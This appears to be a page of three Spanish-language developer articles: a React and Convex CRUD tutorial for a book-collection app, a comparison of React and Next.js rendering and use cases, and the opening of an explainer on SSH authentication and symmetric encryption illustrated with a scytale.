En este tutorial, aprenderás cómo construir una aplicación CRUD usando React y Convex. Cubriremos estas operaciones al construir un proyecto que se llama Book Collections. En este proyecto, los usuarios serán capaz de agregar libros y actualizar sus estados una vez que completan un libro.

Tabla de Contenido

• ¿Qué es Convex?
• ¿Cómo configurar tu proyecto?
• ¿Cómo crear el esquema?
• ¿Cómo crear la UI?
• ¿Cómo crear las funciones CRUD?
• Los estilos
• Resumen

¿Qué es Convex?

Convex es la Plataforma BaaS que simplifica el desarrollo backend. Convex viene con una base de datos de tiempo real, y no tienes que preocuparte sobre escribir lógica de parte del servidor de forma separada porque provee métodos para solicitar y mutar la base de datos.

Pre-requisitos

Para seguir este tutorial, debes conocer los fundamentos de React. Estaré usando TypeScript en este proyecto, pero es opcional, así que puedes seguirme con JavaScript.

Cómo configurar tu proyecto

Crea una carpeta separa para el proyecto y llámalo como gustes – yo lo llamaré Books. Configuraremos Convex y React en esa carpeta.

Puedes crear una aplicación de React usando este comando:

npm create vite@latest my-app -- --template react-ts

Si quieres trabajar con JavaScript, entonces quita el `ts` al final. Sería:

npm create vite@latest my-app -- --template react

Cómo configurar Convex

Tenemos que instalar Convex en la misma carpeta. Puedes hacer eso usando este comando:

npm install convex

Luego, ejecuta npx convex dev. Si lo estás haciendo por primera vez, te debería pedirte la autenticación. De otra forma, debería preguntarte por el nombre del proyecto.

Puedes visitar el panel de Convex para ver el proyecto que has creado.

Ahora que hemos configurado Convex y React, necesitamos conectar el backend de Convex a la aplicación de React.

En el src/main.tsx, envuelve tu componente App con ConvexReactClient:

import { createRoot } from "react-dom/client";
import App from "./App.tsx";
import { ConvexProvider, ConvexReactClient } from "convex/react";
import "./index.css"

const convex = new ConvexReactClient(import.meta.env.VITE_CONVEX_URL as string);

createRoot(document.getElementById("root")!).render(
  <ConvexProvider client={convex}>
    <App />
  </ConvexProvider>
);

Cuando configuras Convex, se crea un archivo .env.local. Puedes ver el URL de tu backend en ese archivo.

En la línea de abajo, instanciamos el Cliente de Convex de React con el URL.

const convex = new ConvexReactClient(import.meta.env.VITE_CONVEX_URL as string);

Cómo crear el Esquema

En tu carpeta principal del proyecto, deberías de ver la carpeta convex. Manejaremos las solicitudes de la base de datos y las mutaciones aquí.

Crea un archivo schema.ts en la carpeta convex:

import { defineSchema, defineTable } from "convex/server";
import { v } from "convex/values";

export default defineSchema({
  books: defineTable({
    title: v.string(),
    author: v.string(),
    isCompleted: v.boolean(),
  }),
});

Puedes definir un Esquema para tu documento con defineSchema y crea un tabla con defineTable. Convex provee estas funciones para definir un esquema y crear una tabla.

v es el validador de tipo, se usa para proveer tipos para cada dato que agregamos a la tabla.

Para este proyecto, ya que es una aplicación de colección de libros, la estructura tendrá title, author, y isCompleted. Puedes agregar mas campos.

Ahora que tienes definido tu esquema, configuremos la UI básica en React.

Cómo crear la UI

En la carpeta src, crea una carpeta llamada component y un archivo Home.tsx. Aquí, puedes definir la UI.

import { useState } from "react";
import "../styles/home.css";

const Home = () => {
  const [title, setTitle] = useState("");
  const [author, setAuthor] = useState("");
  return (
    <div className="main-container">
      <h1>Book Collections</h1>
      <form onSubmit={handleSubmit}>
        <input
          type="text"
          name="title"
          value={title}
          onChange={(e) => setTitle(e.target.value)}
          placeholder="book title"
        />
        <br />
        <input
          type="text"
          name="author"
          value={author}
          onChange={(e) => setAuthor(e.target.value)}
          placeholder="book author"
        />
        <br />
        <input type="submit" />
      </form>
      {books ? <Books books={books} /> : "Loading..."}
    </div>
  );
};

export default Home;

Puedes crear tu componente como gustes. Agregué dos campos input title, author, y un botón submit. Esta es la estructura básica. Ahora podemos crear los métodos CRUD en el backend.

Cómo crear las funciones CRUD

En la carpeta convex, puedes crear un archivo queries.ts separado para las funciones CRUD.

La Función Create

Ie convex/queries.ts:

Puedes definir una función createBooks. Puedes usar la función mutation de Convex para crear, actualizar, y eliminar datos. Leer los datos será a través de query.

La función mutation espera estos argumentos:

• agrs: los datos que necesitamos almacenar en la base de datos.
• handler: maneja la lógica para almacenar los datos en la base de datos. El handler es una función asíncrona, y tiene dos argumentos: ctx y args. Aquí, ctx es el objeto contexto que usaremos para manejar las operaciones de la base de datos.

Usarás el método insert para ingresar nuevos datos. El primer parámetro en el insert es el nombre de la tabla y el segundo es para los datos que necesitan ser insertados.

Como último, puedes regresar los datos desde la base de datos.

Aquí estás el código:

import { mutation} from "./_generated/server";
import { v } from "convex/values";

export const createBooks = mutation({
  args: { title: v.string(), author: v.string() },
  handler: async (ctx, args) => {
    const newBookId = await ctx.db.insert("books", {
      title: args.title,
      author: args.author,
      isCompleted: false,
    });
    return newBookId;
  },
});

La Función Read

En convex/queries.ts:

import { query } from "./_generated/server";
import { v } from "convex/values";

//read
export const getBooks = query({
  args: {},
  handler: async (ctx) => {
    return await ctx.db.query("books").collect();
  },
});

En esta operación read, usamos la función incorporada query de Convex. Aquí, args estará vacía ya que no obtenemos ningún datos del usuario. De forma similar, la función handler es asíncrona y usa el objeto ctx para solicitar de la base de datos y regresar los datos.

La Función Update

En convex/queries.ts:

Crea una función updateStatus. Vamos a actualizar solamente el estado isCompleted.

Aquí, necesitas obtener el ID del documento y el estado del usuario. En el args, definiremos el id y el isCompleted, los cuales vendrán del usuario.

En el handler, usaremos el método patch para actualizar los datos. El método patch espera dos argumentos: el primer argumento es el id del documento y el segundo es para los datos actualizados.

import { mutation } from "./_generated/server";
import { v } from "convex/values";

//update
export const updateStatus = mutation({
  args: { id: v.id("books"), isCompleted: v.boolean() },
  handler: async (ctx, args) => {
    const { id } = args;
    await ctx.db.patch(id, { isCompleted: args.isCompleted });
    return "updated"
  },
});

Función Delete

En convex/queries.ts:

Crea una función deleteBooks y usa la función mutation. Necesitaremos el ID del documento para que se elimine. En el args, define un ID. En el handler, usa el método delete del objeto ctx, y pasa el ID. Esto eliminará el documento.

import { mutation } from "./_generated/server";
import { v } from "convex/values";

//delete
export const deleteBooks = mutation({
  args: { id: v.id("books") },
  handler: async (ctx, args) => {
    await ctx.db.delete(args.id);
    return "deleted";
  },
});

A partir de ahora, has completado las funciones CRUD en el backend. Ahora necesitamos hacerlo funcionar en el UI. Volvamos a React.

Actualizar el UI

Ya has creado un UI básico en la aplicación de React, con algunos campos input. Vamos a actualizarlo.

En src/component/Home.tsx:

import { useQuery, useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Books } from "./Books";
import { useState } from "react";
import "../styles/home.css";

const Home = () => {
  const [title, setTitle] = useState("");
  const [author, setAuthor] = useState("");
  const books = useQuery(api.queries.getBooks);
  const createBooks = useMutation(api.queries.createBooks);

  const handleSubmit = (e: React.FormEvent<HTMLFormElement>): void => {
    e.preventDefault();
    createBooks({ title, author })
      .then(() => {
        console.log("created");
        setTitle("");
        setAuthor("");
      })
      .catch((err) => console.log(err));
  };
  return (
    <div className="main-container">
      <h1>Book Collections</h1>
      <form onSubmit={handleSubmit}>
        <input
          type="text"
          name="title"
          value={title}
          onChange={(e) => setTitle(e.target.value)}
          placeholder="book title"
        />
        <br />
        <input
          type="text"
          name="author"
          value={author}
          onChange={(e) => setAuthor(e.target.value)}
          placeholder="book author"
        />
        <br />
        <input type="submit" />
      </form>
      {books ? <Books books={books} /> : "Loading..."}
    </div>
  );
};

export default Home;

Ahora podemos usar las funciones API del backend al usar api de Convex. Como puedes ver, llamamos a dos funciones de la API: puedes usar useQuery si vas a obtener datos y useMutation si quieres cambiar los datos. Ahora en este archivo, que estamos haciendo, dos operaciones que son create y read.

Obtuvimos todos los datos al usar este método:

 const books = useQuery(api.queries.getBooks);

El arreglo de objetos serán almacenados en la variable books.

Obtuvimos la función create del backend con esta línea de código:

const createBooks = useMutation(api.queries.createBooks);

Cómo usar la función create en el UI

Usemos la función create en el UI.

Ya que los campos input están en la etiqueta form, usaremos el atributo onSubmit para manejar el envío del formulario.

// En el Home.tsx

const handleSubmit = (e: React.FormEvent<HTMLFormElement>): void => {
    e.preventDefault();
    createBooks({ title, author })
      .then(() => {
        console.log("created");
        setTitle("");
        setAuthor("");
      })
      .catch((err) => console.log(err));
  };

Cuando haces clic en submit, dispara la función handleSubmit.

Usamos el createBooks para pasar el title y author del estado. La función del endpoint es async, por lo que podemos usar el handleSubmit como async o usar .then. Usé el método .then para manejar los datos asíncronos.

Puedes crear un componente separado para mostrar los datos solicitados de la base de datos. Los datos regresados están en el Home.tsx, así que pasaremos los datos al componente Book.jsx como props.

En Books.tsx:

import { useState } from "react";
import { book } from "../types/book.type";
import { useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Id } from "../../convex/_generated/dataModel";
import "../styles/book.css";

export const Books = ({ books }: { books: book[] }) => {
  const [update, setUpdate] = useState(false);
  const [id, setId] = useState("");

  const deleteBooks = useMutation(api.queries.deleteBooks);
  const updateStatus = useMutation(api.queries.updateStatus);

  const handleClick = (id: string) => {
    setId(id);
    setUpdate(!update);
  };

  const handleDelete = (id: string) => {
    deleteBooks({ id: id as Id<"books"> })
      .then((mess) => console.log(mess))
      .catch((err) => console.log(err));
  };

  const handleUpdate = (e: React.FormEvent<HTMLFormElement>, id: string) => {
    e.preventDefault();
    const formdata = new FormData(e.currentTarget);
    const isCompleted: boolean =
      (formdata.get("completed") as string) === "true";
    updateStatus({ id: id as Id<"books">, isCompleted })
      .then((mess) => console.log(mess))
      .catch((err) => console.log(err));
    setUpdate(false);
  };

  return (
    <div>
      {books.map((data: book, index: number) => {
        return (
          <div
            key={data._id}
            className={`book-container ${data.isCompleted ? "completed" : "not-completed"}`}
          >
            <h3>Book no: {index + 1}</h3>
            <p>Book title: {data.title}</p>
            <p>Book Author: {data.author}</p>
            <p>
              Completed Status:{" "}
              {data.isCompleted ? "Completed" : "Not Completed"}
            </p>
            <button onClick={() => handleClick(data._id)}>Update</button>
            {id === data._id && update && (
              <>
                <form onSubmit={(e) => handleUpdate(e, data._id)}>
                  <select name="completed">
                    <option value="true">Completed</option>
                    <option value="false">Not Completed</option>
                  </select>
                  <input type="submit" />
                </form>
              </>
            )}
            <button onClick={() => handleDelete(data._id)}>delete</button>
          </div>
        );
      })}
    </div>
  );
};

En el componente Book.jsx, puedes mostrar los datos de la base de datos y manejar la funcionalidad para actualizar y eliminar los registros.

Veamos paso a paso cada una de estas características.

Cómo mostar los Datos

Puedes obtener los datos pasados como un prop en el componente Home.tsx. Si estás usando TypeScript, he definido un tipo para el objeto que es regresado de la solicitud. Puedes ignorar esto si estás usando JavaScript.

Crea books.types.ts:

export type book = {
    _id: string,
    title: string,
    author: string,
    isCompleted: boolean
}

Puedes usar la función map para mostrar los datos.

import { useState } from "react";
import { book } from "../types/book.type";
import { useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Id } from "../../convex/_generated/dataModel";
import "../styles/book.css";

export const Books = ({ books }: { books: book[] }) => {
  const [update, setUpdate] = useState(false);

  return (
    <div>
      {books.map((data: book, index: number) => {
        return (
          <div
            key={data._id}
            className={`book-container ${data.isCompleted ? "completed" : "not-completed"}`}
          >
            <h3>Book no: {index + 1}</h3>
            <p>Book title: {data.title}</p>
            <p>Book Author: {data.author}</p>
            <p>
              Completed Status:{" "}
              {data.isCompleted ? "Completed" : "Not Completed"}
            </p>
            <button onClick={() => handleClick(data._id)}>Update</button>
            {id === data._id && update && (
              <>
                <form onSubmit={(e) => handleUpdate(e, data._id)}>
                  <select name="completed">
                    <option value="true">Completed</option>
                    <option value="false">Not Completed</option>
                  </select>
                  <input type="submit" />
                </form>
              </>
            )}
            <button onClick={() => handleDelete(data._id)}>delete</button>
          </div>
        );
      })}
    </div>
  );
};

Esta es la estructura básica. Mostramos el título, autor, y estado, junto con un botón actualizar y eliminar.

Ahora, agreguemos las funcionalidades.

import { useState } from "react";
import { book } from "../types/book.type";
import { useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Id } from "../../convex/_generated/dataModel";
import "../styles/book.css";

export const Books = ({ books }: { books: book[] }) => {
  const [update, setUpdate] = useState(false);
  const [id, setId] = useState("");

  const deleteBooks = useMutation(api.queries.deleteBooks);
  const updateStatus = useMutation(api.queries.updateStatus);

  const handleClick = (id: string) => {
    setId(id);
    setUpdate(!update);
  };

  const handleDelete = (id: string) => {
    deleteBooks({ id: id as Id<"books"> })
      .then((mess) => console.log(mess))
      .catch((err) => console.log(err));
  };

  const handleUpdate = (e: React.FormEvent<HTMLFormElement>, id: string) => {
    e.preventDefault();
    const formdata = new FormData(e.currentTarget);
    const isCompleted: boolean =
      (formdata.get("completed") as string) === "true";
    updateStatus({ id: id as Id<"books">, isCompleted })
      .then((mess) => console.log(mess))
      .catch((err) => console.log(err));
    setUpdate(false);
  };

  return (
    <div>
      {books.map((data: book, index: number) => {
        return (
          <div
            key={data._id}
            className={`book-container ${data.isCompleted ? "completed" : "not-completed"}`}
          >
            <h3>Book no: {index + 1}</h3>
            <p>Book title: {data.title}</p>
            <p>Book Author: {data.author}</p>
            <p>
              Completed Status:{" "}
              {data.isCompleted ? "Completed" : "Not Completed"}
            </p>
            <button onClick={() => handleClick(data._id)}>Update</button>
            {id === data._id && update && (
              <>
                <form onSubmit={(e) => handleUpdate(e, data._id)}>
                  <select name="completed">
                    <option value="true">Completed</option>
                    <option value="false">Not Completed</option>
                  </select>
                  <input type="submit" />
                </form>
              </>
            )}
            <button onClick={() => handleDelete(data._id)}>delete</button>
          </div>
        );
      })}
    </div>
  );
};

Este es todo el código del componente. Déjame explicarte qué hice.

Primero, necesitamos alternar la actualización, así que definimos la función handleClick, y le pasamos un ID del documento.

//handleClick
 const handleClick = (id: string) => {
    setId(id);
    setUpdate(!update);
  };

En el handleClick puedes actualizar el estado del ID y alternar el estado de la actualización de forma que alternará la actualización cuando se haga clic, y en otro clic, se cerrará.

Luego, tenemos handleUpdate. Necesitamos el ID del documento para actualizar los datos, así que pasamos el objeto evento así también como el ID del documento. Para obtener la entrada, podemos usar FormData.

const updateStatus = useMutation(api.queries.updateStatus);

const handleUpdate = (e: React.FormEvent<HTMLFormElement>, id: string) => {
    e.preventDefault();
    const formdata = new FormData(e.currentTarget);
    const isCompleted: boolean =
      (formdata.get("completed") as string) === "true";
    updateStatus({ id: id as Id<"books">, isCompleted })
      .then((mess) => console.log(mess))
      .catch((err) => console.log(err));
    setUpdate(false);
  };

Necesitamos usar el useMutation para obtener la función updateStatus. Pasa el ID y el estado completado a la función, y maneja la parte asíncrona usando .then.

Para la función delete, el ID del documento es suficiente. Como el anterior, llama la función delete usando el useMutation y pásale el ID.

Luego pasa el ID del documento y maneja la promesa.

const deleteBooks = useMutation(api.queries.deleteBooks);

const handleDelete = (id: string) => {
    deleteBooks({ id: id as Id<"books"> })
      .then((mess) => console.log(mess))
      .catch((err) => console.log(err));
 };

Estilos

Finalmente, lo que queda es agregar algo de estilo. Agregué algunos estilos básicos. Si el libro no ha sido completado, estará en rojo, y si el libro se ha completado, estará en verde.

Aquí la captura de pantalla:

¡¡Esto es todo chicos!!

Puedes visitar mi repositorio para ver todo el código: convex-curd

Resumen

En este artículo, implementamos las operaciones CRUD (Crear, Leer, Actualizar y Eliminar) al construir una aplicación de colecciones de libros. Comenzamos configurando Convex y React, y escribir la lógica de CRUD.

Este tutorial cubrió tanto el frontend como el backend, demostrando cómo construir una aplicación serverless.

Puedes encontrar todo el código aquí: convex-curd

Si hay algún error o cualquier duda, contáctame en LinkedIn, Instagram.

¡Gracias por leer!

Algunas de estas herramientas, lenguajes, o frameworks son usados diariamente por miembros de la comunidad y pueden padecer cambios fundamentales en cómo son implementados o escritos con el tiempo.

En este artículo, exploraremos dos tecnologías populares de JavaScript, Next.js y React.js, comparando sus diferencias claves, examinando sus fortalezas, y ofreciendo perspectivas para ayudar a los desarrolladores a elegir la mejor opción para sus proyectos.

Tabla de Contenido

• Entendiendo React
  • Renderizado del lado del Cliente
  • Casos de uso para React en Desarrollo Web
• Explorando Next.js
  • Renderizado del lado del Servidor
  • Casos de uso para Next.js en Desarrollo Web
• Diferencias claves entre Next.js y React
  • Métodos de renderizado: lado del cliente vs. lado del servidor
  • Consideraciones de rendimiento
  • Implicaciones sobre SEO
  • Escalabilidad y complejidad del proyecto
• Cuándo usar React o Next.js
  • Cuándo usar React
  • Cuándo usar Next.js
• Conclusión

Entendiendo React

Frecuentemente nos confundimos en cuanto si React es un framework de JavaScript o no, pero acá está la respuesta a esa pregunta. React no es un framework de JavaScript, sino una librería. Ahora, estas dos terminologías son intercambiables con frecuencia o mal usadas, pero los explicaré en breve.

Una librería es una colección de código ya escrito que puede ser re-usado o llamarse cuando construyes tu proyecto.

Ejemplo: Imagina una biblioteca en donde vas a estudiar. Los libros ya están disponibles en los estantes – simplemente agarras uno que necesitas y comienzas a leer. De forma similar, en programación, una librería (o biblioteca) provee herramientas ya terminadas que puedes usar en tu proyecto sin tener que empezar de cero.

Por otro lado, un framework es como una estructura ya hecha que te ayuda a construir tu proyecto. Te da una fundación sólida para trabajar, de forma que no tengas que comenzar desde cero o escribir código repetitivo. En cambio, te enfocas en agregar tus propias características y lógica, mientras que el framework se encarga de ejecutar cosas en el momento exacto y de la forma correcta.

Ejemplo: Imagina que un framework es como una casa en construcción donde los muros, el fundamento, y el techo ya están construidos. Todo lo que necesitas hacer es decidir cómo diseñar el interior – cómo elegir los muebles, la pintura y las decoraciones. El framework maneja el trabajo pesado, cómo asegurar que la casa se mantenga fuerte, mientras te enfocas en hacer lo tuyo. De forma similar, en programación, el framework provee la estructura, y tu agregas tu lógica personalizada para completar el proyecto.

Con eso fuera del camino, continuemos.

React es una de las librerías de JavaScript más populares usadas por los desarrolladores para construir interfaces de usuario rápidos, interactivos y confiables. Es una librería declarativa que ayuda a los desarrolladores crear aplicaciones web basado en componentes. Facebook desarrolló esta librería en 2011 y ha sido tendencia desde entonces.

Usualmente, cuando se escribe código JavaScript, creamos un archivo con la extensión js. Por ejemplo: App.js, script.js, y así sucesivamente. En React creamos un archivo con la extensión jsx. Eso es: index.jsx, Home.jsx, y así sucesivamente. El jsx es una extensión de React que te permite escribir un código de JavaScript que se parece a HTML. La sintaxis, cuando se ejecuta, pasa a través de pre-procesadores/transpiladores los cuales transforman el código parecido a HTML a código estándar de JavaScript.

En el corazón de todas las aplicaciones de React están los componentes. Los componentes son trozos de interfaces de usuario (UI) los cuales son hechos de forma independiente y pueden ser re-usados en partes distintas en tu proyecto. Distintos componentes pueden ser hechos de forma separada y luego se juntan para formar una interfaz de usuario compleja (UI).

Nota: Cada aplicación de React tiene al menos un componente, comúnmente referido como el componente raíz. Este componente representa la aplicación entera. Dentro del componente raíz, con frecuencia hay otros componentes, conocidos como componentes hijos, que ayudan a estructurar y manejar distintas partes de la aplicación.

Acá hay una representación estructural de los componentes raíz e hijos.

De la imagen de arriba, puedes entender con claridad de qué tratan los componentes. App es el componente raíz, y dentro del componente raíz tenemos los componentes hijos: Navbar, Profile, Blog y Footer. Los hijos componentes pueden ser re-usados en otras páginas del proyecto sin tener que re-escribir el código nuevamente.

Renderizado del lado del cliente

El renderizado del lado del cliente (CSR – Client Side Rendering en inglés) es una técnica común, especialmente en librerías como React y frameworks como Vue.js, Angular, y así sucesivamente. Aquí, el navegador descarga y procesa los archivos de JavaScript para renderizar dinámicamente el contenido directamente en el dispositivo del usuario. Con CSR, las páginas web se generan de forma dinámica, y cualquier actualización o cambio al código se aplica sin requerir una recarga completa de página. Solamente las partes específicas que han cambiado se actualizan, asegurando una experiencia de usuario fluida y eficiente.

Por lo tanto, en CSR, la lógica y la estructura de la página web se maneja por el cliente (navegador) y una recarga completa de página se muestra.

Para ayudarte a entender CSR, he agregado un artículo aquí.

Casos de uso para React en Desarrollo Web

Desde que React se volvió la opción preferida de muchos desarrolladores, su flexibilidad lo ha hecho conveniente para un amplio rango de casos de uso en desarrollo web. Aquí hay unos pocos casos:

• Aplicaciones de una Sola Página (SPAs): Cuando hablamos sobre SPAs, no nos referimos realmente que tu aplicación web tiene solamente una página, puede tener múltiples páginas. En SPAs, tus archivos de aplicación web (HTML, CSS, JS) se generan una vez en tu página web y cuando las actualizaciones subsecuentes se realizan en el archivo, tu página no tendrá que recargar completamente. Este enfoque ayuda a asegurar una transición más rápida, reduce la carga en el servidor y mejorar la experiencia general de usuario.
• Interfaces de Usuario Interactivos: React es idóneo para construir interfaces de usuarios interactivos, de vez en cuando, pasa por actualizaciones dinámicas basadas en las acciones de los usuarios. Ejemplos son formularios en línea, paneles de control, sitios web (sitios web de comercio electrónico), y así sucesivamente.
• Aplicaciones Multiplataforma: Tener conocimientos de React viene a la mano cuando se construyen aplicaciones móviles, simplificando la conexión entre aplicaciones web y aplicaciones móviles. Herramientas como React Native te ayudan a lograr este proceso.

Explorando Next.js

Next.js es un framework popular basado en React usado para construir aplicaciones web con el uso de componentes de React. Next.js provee estructura adicional, características, y optimización para tu aplicación web.

A diferencia de React, Next.js soporta renderizado del lado del servidor (SSR), por lo que las solicitudes se procesan y se generan desde el servidor y luego mostrado en el navegador (cliente).

Renderizado del lado del Servidor

El Renderizado del lado del servidor (SSR - en inglés "Server Side-Rendering") es una técnica en el desarrollo web donde un servidor genera el HTML para una página web en el servidor y lo envía al navegador (cliente). En otras palabras, el servidor maneja las estructuras y la lógica de la página y muestra una página totalmente renderizada en la pantalla.

En el renderizado del lado del servidor, una solicitud se envía primero al servidor (cliente), luego el servidor comienza a procesar la solicitud y cuando termina de procesar la solicitud, ejecuta la solicitud al generar y muestra un archivo HTML con el contenido en el navegador (lado del cliente). Cuando un cambio se hace o una nueva página se solicita, una nueva solicitud se envía nuevamente al servidor y es procesado nuevamente – un nuevo archivo HTML y totalmente renderizado será generado y mostrado en el navegador (cliente).

Para una mejor comprensión de CSR y SSR, agregué un vídeo de YouTube aquí.

Casos de Uso para Next.js en el desarrollo web

• Aplicaciones de una Sola Página (SPAs): Next.js puede ser usado en la creación de aplicaciones de una sola página, similar a React.
• Optimizado para SEO: Next.js ayuda en crear sitios web optimizados para SEO al renderizar un archivo HTML en el servidor y entregarlo al navegador. Esto mejora la visibilidad en el motor de búsquedas, incrementando las chances que tu sitio web aparezca en la parte superior de los resultados de búsqueda.
• Plataformas de Multi-Usuarios: Debido a la habilidad de Next.js de manejar el enrutamiento dinámico, el manejo de API, y así sucesivamente, es fácil de crear aplicaciones que sirven para diversos propósitos.

Diferencia clave entre Next.js y React

Métodos de renderizado: lado del cliente vs. lado del servidor

Cuando hablamos sobre el método de renderizado en React, React se base principalmente en el método de renderizado del lado del cliente (CSR). Por lo tanto tanto la lógica como la estructura de la página web será manejado por el navegador (cliente). Aunque este método se usa comúnmente, tiene algunos efectos secundarios como carga de página inicial más lenta.

Next.js por el otro lado, soporta tanto SSR como CSR ya que fue construido por encima de React. Las páginas web se renderizan en el servidor y tanto la lógica como la estructura de la página se manejan por el servidor. Esto permite una carga más rápida de la página web y también mejora el SEO.

Consideraciones de rendimiento

En términos de consideraciones de rendimiento, Next.js se prefiere frecuentemente porque ofrece múltiples opciones de renderizado, incluyendo renderizado del lado del servidor (SSR), generación de sitios estáticos (SSG), Regeneración estático incremental (ISR), y renderizado del lado del cliente (CSR). En contraste, React primariamente provee un enfoque de renderizado único: renderizado del lado del cliente.

Implicaciones de SEO

React está menos optimizado para SEO porque los motores de búsqueda puede tener dificultades al indexar contenido que requiere ejecución de JavaScript para renderizar.

Del otro lado, Next.js está más optimizado para SEO que React porque renderiza contenido en el servidor, provee HTML totalmente renderizado para los motores de búsqueda para facilitar el indexado.

Escalabilidad y complejidad del Proyecto

En términos de escalabilidad y complejidad del proyecto, Next.js es generalmente mejor que React. Next.js provee funciones integradas que mejoran la escalabilidad de tu proyecto. Estos incluyen:

• Renderizado del lado del servidor (SSR) y generación de sitios estáticos (SSG) para mejor rendimiento y SEO.
• Una función de rutas API incorporada para crear funciones serverless sin problemas.
• Un sistema de enrutamiento basado en archivos que simplifica la organización de proyectos más grandes.

En contraste, con React, eres responsable de configurar y mantener la estructura para la escalabilidad. Para proyectos más grandes, esto frecuentemente requiere agregar herramientas adicionales tales como:

• Librerías de gestión de estado (por ejemplo, Redux, Recoil, y así sucesivamente)
• Librerías de enrutamiento (por ejemplo, React Router)

Estas herramientas son necesarias para mejorar la escalabilidad de React y abarcar la complejidad del proyecto, pero también incrementan la carga y esfuerzo necesario para configurar y gestionar la aplicación.

En resumen, aquí una tabla que lo desglosa:

Cuándo usar React o Next.js

Elegir la herramienta correcta para tu proyecto depende únicamente en la complejidad de la solución del proyecto que estás construyendo. Mientras que React y Next.js están relacionados cercanamente, cada uno tiene sus fortalezas y casos de uso óptimos.

Cuándo usar React

Aquí hay algunos casos donde es mejor usar React para tu proyecto:

• Cuando construyes aplicaciones altamente interactivas.
• Cuando tu proyecto requiere manejo manual de enrutamiento, gestión de estado o/e integración de API.
• Cuando tu proyecto requiere renderizado del lado del cliente (CSR)

Cuándo usar Next.js

Aquí hay algunos casos donde es mejor usar Next.js:

• Cuando tu proyecto requiere un mejor SEO.
• Cuando tu proyecto requiere renderizado del lado del servidor.
• Cuando tu proyecto requiere que construyas APIs junto con tu código de frontend.
• Cuando construyes sitios web basado en contenido como blogs o sitios e-commerce. Debido a su uso de renderizado del lado del servidor, ayuda en mejorar los tiempos de carga de los contenidos en la página.
• Next.js se usa mejor cuando quieres optimizar imágenes en tu proyecto.

Conclusión

A este punto creo que tienes una clara comprensión de React y de Next.js, los conceptos del renderizado del lado del servidor y del lado del cliente, los casos de uso tanto para React como para Next.js, y las diferencias claves entre ellos.

Gracias por tomarte el tiempo de leer este artículo. Espero que lo hayas encontrado útil.

Feliz codificación.

El SSH (Shell Seguro) es un protocolo cliente-servidor para conectarse y autenticarse a un servidor remoto.

La autenticación significa que el servidor remoto puede verificar que eres tú mismo no alguien más hablando por ti.

Podrías ya estar usando la autenticación SSH de Github, ¿pero sabes cómo funciona en sí? En este artículo, aprenderá qué sucede de forma interna y cómo funciona en realidad la autenticación de SSH.

A lo largo, entenderás los conceptos fundamentales de criptografía que cada desarrollador debería saber: encriptación de clave simétrica, encriptación de clave asimétrica, funciones hash criptográficas, y firmas digitales.

Algunos desarrolladores usualmente no tienen la chance de aprender y entender estos fundamentos de criptografía, pero estos conceptos te ayudarán a la larga. También, te ayudarán en estar en una mejor posición para tomar decisiones de seguridad informadas para tus aplicaciones de web en producción.

Así que vamos, abróchate los cinturones de seguridad, ¡y comencemos!

Esto es lo que cubriremos:

1. Primero, ¿por qué la Autenticación es tan importante?
2. Encriptación de Clave Simétrica
3. Encriptación de Clave Asimétrica
4. Funciones de Hash Criptográficas
5. Firmas Digitales
6. Cómo Funciona la Autenticación SSH
7. Resumiendo Todo

Primero, ¿por qué la Autenticación es tan importante?

Cuando ejecutamos git push, Github necesita verificar que la persona correcta está interactuando con Github. Imagina si un atacante podría llegar a hacer git push por ti.

Entonces todos tus repositorios estarían bajo el control del atacante. Podrían eliminar todo tu código juntamente con todo el historial de las confirmaciones.

Esto suena bastante peligroso, ¿no? Así que para verificar que eres tú el que está hablando con Github, y no un atacante, Github tiene varias formas de autenticarte.

El método más usado para autenticar con Github es la autenticación SSH.

Antes que entendamos cómo funciona la autenticación SSH internamente, necesitaremos entender los conceptos fundamentales de criptografía, a saber – encriptación de clave simétrica, encriptación de clave asimétrica, funciones de hash criptográficas, y firmas digitales.

¡Comencemos!

Encriptación de Clave Simétrica

En los tiempos antiguos, los gobernantes idearon varios métodos de comunicar mensajes militares secretos a sus comandantes del ejército.

En los métodos más primitivos, mayormente usados por los gobernantes Griegos antiguos y posiblemente luego los Romanos, involucrados usando una vara de madera cilíndrica llamado un Escítala.

Antes de una invasión militar, el gobernante tendría las dos mismas varas de madera cilíndricos exactas. Entonces le daría una escítala al comandante del ejército y mantener uno para sí mismo.

El dispositivo funcionaba al enrollar una tira de cuero alrededor de escítala. Después de hacer esto, el gobernante escribiría el mensaje por encima de la tira de cuero enrollada de forma que solo pudiera ser leído cuando estuviere enrollada de forma apropiada nuevamente.

Supón que la escítala le permitiera escribir tres letras alrededor en un circulo y cinco letras de forma recta a lo largo de su longitud. La tira de cuero enrollada con el mensaje attackfromright escrito luciría así:

       |   |   |   |   |   |
       | a | t | t | a | c |  |
     __| k | f | r | o | m |__|
    |  | r | i | g | h | t |
    |  |   |   |   |   |   |

Después de escribir el mensaje en la escítala, el gobernante desenrollaría la tira de cuero y lo enviaría al comandante del ejército. Cuando estaba desenrollada, la tira de cuero tendría el siguiente mensaje desordenado:

----------------
akrtfitrgaohcmt
----------------

Así que ahora lo ves, incluso si la tira de cuero fuera interceptada por un espía enemigo, el mensaje no tendría sentido. ¿No es fascinante? El uso inteligente de una vara de madera y una tira de cuero, ¡podría haber ayudado a algunos gobernantes antiguos ganar batallas!

Cuando la tira de cuero alcanzaba al comandante del ejército, lo envolvería con su propia escítala (que sería exactamente el mismo que el del gobernante), y luego el comandante sería capaz de entender el mensaje apropiadamente.

Esta técnica de la escítala en realidad es un ejemplo de la encriptación de clave simétrica en la práctica.

La encriptación es un proceso en el que el mensaje origina es modificado (o codificado) de tal forma que solamente el recipiente indicado puede decodificar y ver el mensaje actual.

El mensaje original se llama texto plano, mientras que el mensaje codificado se llama texto cifrado. La encriptación convierte el texto plano a texto cifrado con la ayuda de una clave.

Para descifrar el mensaje, que sería convertir el texto cifrado a texto plano, una persona debe tener acceso a la misma llave.

Si lo comparamos a la técnica de la escítala, la escítala es la llave. El gobernantes solamente comparte la llave (escítala) con el comandante del ejército que necesita saber lo que dice el mensaje.

Así es como luce el proceso de encriptación:

El proceso de descifrado lucirá así:

Llamamos a esto encriptación de llave simétrica porque la misma llave se usa tanto para encriptar y descifrar el mensaje.

Esta llave (la escítala) se debe mantener resguardada del acceso del enemigo. Si el enemigo accede a esta llave, entonces será capaz de descifrar los mensajes.

